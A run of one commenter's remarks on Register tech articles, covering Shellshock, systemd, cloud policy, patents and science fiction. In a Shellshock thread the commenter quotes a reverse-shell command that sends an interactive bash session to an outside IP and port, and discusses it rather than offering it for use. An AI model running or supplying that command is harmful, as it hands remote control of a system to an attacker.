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Big racks? Pah. Storage boffins have made a BIONIC BRAIN material

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Melbourne Mechatronics and Mechanical Men

"Some of our problems" is good enough.

Just looking at the morning paper, the only solution to "all our problems" is HUGE METEOR.

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AT&T fires insider for slurping customers' social security numbers, driver licenses and more

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Re: Bah!

Pull your $$$ from their control

You may be dismayed to find out that there frankly is not enough $$$ to do that.

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Hiss-hiss! GIGANTIC SOLAR FILAMENT snakes around Sun

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Re: Are we doomed?

Yes.

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'Conscious uncoupling' of HP 'Ink', HP Enterprise: It's the shareholders, stupid

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Getting psychotic yet?

Whitman has worked 18 hour days since taking the CEO’s office at HP

Just what.

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Want the EU to work on making cloud snoop-proof? Speak up, my good 'stakeholder'

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Recipe #1

No software patents, ever and any that exist are retroactively declared null and void.

No wait, that was another problem, though there is undeniable linkage.

I like my government-granted monopolies in the morning.

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Re: Just a few suggestions (@ AC)

The carrot is the right to sell cloud services in Europe, and it's a huge carrot, in my opinion.

The world does not work that way. That would be like the "right to set up a bank". A bank can make enormous profits due to a special status which allows it to socialize risk about lending out other people's money. Thus the incentive to set up a bank is very much higher than the incentive to set up a cloud service. Indeed, suddenly the cloud service is all about pain, maintenance and regulatory compliance (a shifting and uncertain set of requirements demanding risk management and bullshitting at the best of times)

There just will be less "cloud services" and those that exist will either be abroad (what's that? want to tell people to not use them? good luck to you, sir) or the persons in charge will just make sure people very near the Hubs Of Power have their back in case unfortunate questions arise. A recipe for cronyism and The Vatican Bank mirrored in the Cloud Domain.

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Yahoo servers? SHELLSHOCKED? by Bash?

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Re: Bash is Bollocks for security

Amazingly, a tool is being used as a tool.

Even in a "minimal system" the tools to do maintenance must still be available from time to time. Unless we are talking embedded.

Whether "Bash is Bollocks for security" is neither here nor there.

The error here consists in making the swiss army knife usable from outside. That is a combination of using shell scripts to process the "Agent" header and having that bash bug. The error does not consist in having the swiss army knife available in the first place.

"/bin/bash –i >&/dev/tcp/199.175.52.92/2221 0>&1" does not do a whole lot. Would it work with any other shell on a system which has nice features underneath /dev/tcp? I sure hope so.

Why use shell scripts to process that "Agent" header? Well, now, that is the REAL question. They should have been gotten rid of some time ago.

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Linux systemd dev says open source is 'SICK', kernel community 'awful'

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Poettering, please!

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Re: But I thought Linux was the dog's

this could be reasonable

In a sane world, you would develop an appropriate language to describe this kind of problem, then generate all your code from a short, correct description. Esterel maybe?

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Re: Hostile leadership vs hostile software

it's very broad adoption on the systems that could use them

Not an argument for the sanity of said solution.

Someone has to says "let's put this in, I suppose it's a good idea, people will get used to it". He may be wrong. Like with TIFKAM.

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Re: Systemd - the Init of the Beast

This is an unfortunate truth.

There are good ideas in that there systemd, but there are also a LOT of very bad ideas.

I guess trying to solve the messy traditional insecure, non-transactional-state, convention-based alignment of scripts and making possible "fast boots" on devices that are switched on and off often is worth it... but...

It has the smell of a Windows solution. Like the "Registry"

The first problem: WHY SO COMPLEX

The second problem: WHY SO BINARY

The third problem: WHY SO OPAQUE

Trying to understand what went wrong and why something isn't working feels like being at the end of a labyrinth, or at the end of having made an error in a git repository.

What happened to the Art of Unix Programming?

I have been sitting through a few days of my holiday trying to "get" systemd, to no avail.

Maybe it's me.

Maybe it's systemd.

It is too complex.

I want to deny it.

It is impossible to deny.

Maybe systemd v2 will be viable.

What is there now isn't.

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Rise of the Machines: FIRST HUMAN VICTIM – 2015

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Crime as a Service?

Like, with telephone and stuff?

Far out!

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Doctor Who becomes an illogical, unscientific, silly soap opera in Kill The Moon

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Re: The worst thing

Crazy slavic theories unmoored to reality:

Vasin-Shcherbakov Theory

"The Spaceship Moon Theory, also known as the Vasin-Shcherbakov Theory, is a hypothesis that claims the Earth's moon may actually be an alien spacecraft. The hypothesis was put forth by two members of the then Soviet Academy of Sciences, Michael Vasin and Alexander Shcherbakov, in a July 1970 article entitled "Is the Moon the Creation of Alien Intelligence?"

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Re: use of the space shuttle

You would never have thought it would come to the point where Armageddon (1998) might be upheld as a vehicle to teach kids about Space Things?

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Re: @Destroy All Monsters

The Moon doesn't shine, it only reflects (very badly, too), but still:

Back-of-envelope calculation:

1.3 kW/m² dumped on the moon by the sun.

Make it 2001-monolith black, all surface utilized...

1737km radius gives you are disk of a bit less than 10^13 m² to shine on.

So you can collect 1.3 x 10^16 W, which is nice.

According to E = m*c², this corresponds to 0.14 kg/s in case of perfect backconversion.

So you are really looking at a few billion of years full-out collection.

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> Basic energy-to-mass conversion can explain the mass increase.

I don't think "basic" means what you think it means.

You may want to explain where gigatons of pure energy come from without anyone noticing, so that they can be backconverted in the space hatchery.

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Call Gerry Anderson!

Moon Removals 'R Us!

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What’s the KEYBOARD SHORTCUT for Delete?! Look in a contextual menu, fool!

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Re: Devolution?

THE PROCEDURE:

1) BEGIN

2) END

Any questions?

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Re: Where's the Spacebar?

The times at uni when the Beautiful Girls from Life Sciences Division finally couraged up and asked the Geek in the Corner whether he happen to know the office of the server?

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Bigger on the inside

The only time I came unstuck was when running the reports through the woeful Lotus GraphWriter, which applied its own fiercely dogmatic rounding logic, producing pie charts whose percentage-labelled slices invariably added up to 102 per cent.

A "House of Leaves" of IT, then? Don't open the submenus.

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Why US Feds and g-men kick up a stink about a growing smartphone encryption trend

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So the child abductor phones whom ... his counselor?

Seriously, the 90's are calling, they want their Clipper Chip debate back!

Politicians and Bureaucrats - if you don't abolish them they will come up with the same old stale brew OVER and OVER and OVER again.

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The Maze Runner – a merry teenage dystopian adventure that doesn't make you cringe

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Paris Hilton

No comparison to The Cube?

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Vanished blog posts? Enterprise gaps? Welcome to Windows 10

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Re: 2015 will be the year of Linux on the desktop.

I detect postmodernism in all its gory.

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Re: Windows 7 with a flat theme

What is this I don't even?

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Worst. Comic. Book. Ever. Marvell's Chipman defeated by France in another patent battle

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Is it a fact that algorithmica and mathematics (i.e. true statements about invariants) still cannot be protected in the EU, so we see a Yuropean company making hay off this in the US, which indicates that said company would support the protection of such reified elements of discourse in the EU in a heartbeat?

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EU blesses $19bn Facebook-Whatsapp marriage

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Re: Facebook? whatsapp?

Bubble-embiggened elephants mating?

MUOROROROR!!!!

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Google ordered to tear down search results from its global dotcom by French court

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Paris Hilton

The global dotcom is .com.

Not really. This is a Verisign-administered TLD local to the US.

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Devil

Let them use Froggle

Companies should either obey the law, or get out of the region.

Cut French IP addresses off from Google search?

I support this.

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POISON PI sniffs WiFi from your mail room, goes on rampage

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Re: Eh

Otherwise how does it communicate back to the Black Hat? Is he (for its always a he) sat outside in a car or at the starbucks across the road?

I suggest you look into ... a trained bucket brigade of WarKitteh, strategically positioned all over the town because your crazy prepared skills are crazy.

gendo_pose.jpg

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One Windows? How does that work... and WTF is a Universal App?

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Headmaster

Re: where the fun really is

No. Go back to your cage!

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Re: Its been tried before

That was a pretty populist app.

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Re: Just provide one API

You must have also missed that C# is by far the fastest growing programming language over the past few years

It's about fucking time the rest of semi-opposable-thumb keyboard hacking brigade move off their C/C++ addiction. Can we now move on LISP?

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Re: What happened to Windows NEIN?

A new kind of Y2K, then.

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Paris Hilton

What happened to Windows NEIN?

Did I have to do a Chicago dive?

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NAKED CELEBRITY PICS LAW BOMB dropped on ad giant Google

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Google controls everything! It is their fault!!

I wonder how lawyers manage to generate these long strings of adjective-laden diarrhea of utterly faked outrage. Is it crack? Is there a special school??

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Leaked: Mobile operators' SCARE campaign against net neutrality

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Childcatcher

There are enough arguments against "net neutrality" proposals...

...the biggest of which is that proponents are not sure what it is about in the first place.

There is no need to stoop to "think of the children" bullshit.

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EVIL patent TROLLS poised to attack OpenStack, says Linux protection squad

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Mushroom

"We must kill them. We must incinerate them. Pig after pig. Cow after cow. Village after village. Troll after troll. And they call me a pirate. What do you call it when the pirates accuse the pirate? They lie ... they lie and we have to be merciful to those who lie. Those nabobs. I hate them."

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DARPA joins math-secured microkernel race

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Re: Weasel wording?

Speaking of TLA, we have recommended reading in Leslie Lamport's "Specifying Systems - The TLA+ Language and Tools for Hardware and Software Engineers". Downloadable legally, too.

Do it now.

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LulzSec supersnitch led attacks on UK, Australia – report

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Coat

Then they moan and bitch about encrypted phones

From Hoover the body remover to COINTELPRO to Oklahoma to Clipper Chip to Waco to creation of "imminent terrorist menaces" from whole cloth since the late 90s while missing the one that were actually being fomented. Then we have the "War on Drugs". And now this. Did I mention utter incompetence at getting their IT in order?

Large bureaucracies are and always will be undistinguishable from the mob.

Now, if they only had a secret deal with aliens to show for this. But no...

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Bash bug flung against NAS boxes

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Trollface

Hmmm.....

That pretty cool black-and-white background photo with the otherworldly death screen is revealed to be a shopped version of a photo by Rodrigo Basaure.

I suppose this is all on the level?

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Trollface

QNAP again?

install an ELF backdoor

Clearly these are TROLLs.

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Proprietary OS source code LEAKED to web – from 40 years ago

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Re: Now compare that to modern mobile OSes

But this is not a "mobile OS", it's made for things that today would be lower than washing machine controllers. Yeah, there is no standard for hardware on mobiles (nor on immobiles, for that matter), but so what?

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Intellectual Property Fetishism of the Worst Sort

Note, however, that this source code release does not mean CP/M is open source. The code is being offered for educational purposes only and no commercial use is allowed.

Yeah, well no, successors of Gary, you ain't gonna conquer the world with that anymore and bring in BILLIONS; give it up.

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Wide Open Data: NYC taxi dump catches strip club Johns

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Ok, what's bad now?

The public is being scammed

Well, there really is no such thing as "the public" (a concept born of a smokescreen of confusion hiding the very special interest of having others pay for one's swimming pool). After taxation, bailouts, public debt ramp-ups, absent pension payouts and the "social security" Ponzi, this is decidedly one of the minor scams where vested interestes not of "the public" are being irreparably damaged. Care-o-meter at 0.

as the data can be enormously valuable

Many things can be enormously valuable. But so what?

Secondly, there’s really no such thing as anonymity.

A statement that is meaningless with no context. The quality of "anonymity" always exists in some context.

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Biz coughs up even less for security, despite mega breach losses

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Yes

We just had a Battery Stable Horse Bolt event, so interest in security was suddenly rekindled.

Which is nice, I suppose.

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Supercomputers: The Next Generation – Cray puts burst buffer tech, Intel Haswell inside

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Re: Just Wait

Once the mechanical nanocomputer comes up, you can have everything in one cm³. If you can afford the cooling and the electrical energy input. Unless reversible computing takes off big (but then you will STILL have to dump infocrap at some point), or the current political situtation continues for ANY LENGTH OF TIME.

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Ice, ice maybe: Evidence of 'Grand Canyon' glacier FOUND ON MARS

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Re: "they just recently found it and no else noticed it before"

"Naked selfies of SCIENCE found on an Internet! MILF Nature Uncovered!! Film at 11."

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Apple finally patches Bash Shellshock vuln that WAS NOT A WORRY, OK?

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Re: Is this really relevant for OS X?

> an Internet service gateway using BASH as the gateway.

What do I see?

1) CGI does not mean there is an "Internet service gateway", whatever that is.

2) bash is not written BASH

Clarity, please!

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Business is back, baby! Hasta la VISTA, Win 8... Oh, yeah, Windows 9

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Mushroom

Remember when "Windows NT" was the KILLER OF EVERYTHING™??

The danger for Microsoft is that if everybody standardises on an operating system that's three versions old, it will have lost its raison d’être as a tech firm.

GOOD!

When the x-th malware outbreak, info exfil and other uncontrolled wild crap and cancer occurs on Windows machinery in the tower of disorganization that you inhabit, the realization that "Windows in the Enterprise" will forever be a fool's errand and a clusterfuck of epic proportions shall enlighten you like a magma blast from a 10'000 year old Icelandic volcano. I don't know what the solution is but it sure cannot be found in the House of UsherSaddam Nutella.

The whole abortion of "Microsoft shall provide you with a reliable, manageable, understandable, and usable-for-all-kind-of-users system ... for a small fee" has to be flushed, killed, strangled, crushed, enterred, disenterred and incinterated. Then deposited into Chernobyl sarcophagus.

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Shellshock: 'Larger scale attack' on its way, warn securo-bods

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Re: run for the hills!

> a server is not supposed to be using Bash for its system accounts

Care to explain why?

"I'm so secure I shit bricks, my CPU only runs NOPs"

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